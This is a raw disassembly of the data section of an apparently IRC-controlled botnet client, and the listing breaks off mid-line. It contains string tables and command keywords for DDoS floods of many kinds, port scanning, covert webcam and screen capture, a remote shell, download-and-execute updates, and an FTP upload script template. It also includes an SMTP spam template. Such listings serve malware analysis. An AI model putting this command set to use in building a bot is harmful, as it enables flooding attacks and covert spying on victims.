db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429D90 db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_429DBC db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429DE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E08 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 10h unk_429E50 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429E78 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EC8 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429EE8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F18 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429F3C dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429F58 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F7C dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_429F94 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FD4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429FEC dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_42A008 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A028 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42A06C: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42A070 db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 unk_42A094 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_42A0B8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_42A0F8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42A138 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_42A16C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_42A1A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_42A20C db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 unk_42A234 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_42A264 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 10h unk_42A2A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 10h unk_42A2D0 db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 4 dword_42A304 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_42A320 db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 10h unk_42A350 db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_42A378 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_42A398 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_42A3B8 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42A3D4 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_42A3E8 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_42A3F4 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_42A41C dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_42A438 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_42A454 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_42A45C dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_42A478 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_42A484 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_42A48C dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_42A494 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 10h dword_42A4D0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42A4FC db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A538 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 10h dword_42A5A0 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_42A5B8 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_42A5CC dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_42A5DC dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A624 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A660 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_42A698 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_42A6B4 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A6D8 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A744 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A750 db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A774 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A7AC db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7E4 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 10h dword_42A810 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A84C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A87C db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A8B4 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A8E4 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A91C db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A94C db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 10h unk_42A9C0 db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 10h unk_42AA00 db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42AA2C db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 10h unk_42AA70 db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42AAAC db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42AB08 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42AB14 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42AB50 db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42ABA0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42ABD8 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 10h unk_42AC40 db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 4 unk_42AC74 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42ACA8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42ACD8 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_3 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; sub_411C13+4Eo align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42AD48 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 10h unk_42AD70 db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 10h unk_42ADB0 db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADE8 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42AE30 db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42AE98 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42AED0 db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 4 unk_42AF24 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42AF5C db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42AFA4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AFDC db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42B014 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42B058 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo ; sub_413E35+312o align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o ; sub_413E35+2F2o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42B0A0 db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o ; .packed:004382D8o ... unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 10h aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; .packed:004382D0o ... unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 10h aAsc db 'asc',0 ; DATA XREF: sub_401ACD+4FA1o aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 10h aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 10h aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 10h dword_42B1E0 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo ... aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42B264 db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC_0: ; DATA XREF: sub_401ACD+4BCCo ; .packed:00438308o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 10h aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 4 aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 10h aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 10h aE: ; DATA XREF: sub_401ACD+4B02o ; .packed:004382C0o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: 